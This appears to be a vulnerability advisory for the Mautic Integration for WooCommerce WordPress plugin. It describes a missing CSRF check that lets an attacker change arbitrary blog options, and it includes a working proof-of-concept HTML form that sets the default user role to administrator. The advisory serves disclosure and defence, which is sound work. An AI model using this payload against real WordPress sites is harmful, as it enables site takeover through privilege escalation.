The plugin does not have proper CSRF check when updating settings, and does not ensure that the options to be updated belong to the plugin, allowing attackers to make a logged in admin change arbitrary blog options via a CSRF attack. The attack could also be performed via a LFI if one is present in another plugin present on the blog.
Make a logged in user with the manage_woocommerce capability open a page containing the HTML code below
<form action="https://example.com/wp-admin/admin.php?page=mautic-integration-for-woocommerce&mauwoo_tab=mautic_integration_for_woocommerce_connect" method="POST">
<input type="text" name="mauwoo_activate_connect" value="1">
<input type="text" name="default_role" value="administrator">
<input type="submit" name="submit" value="submit">
</form>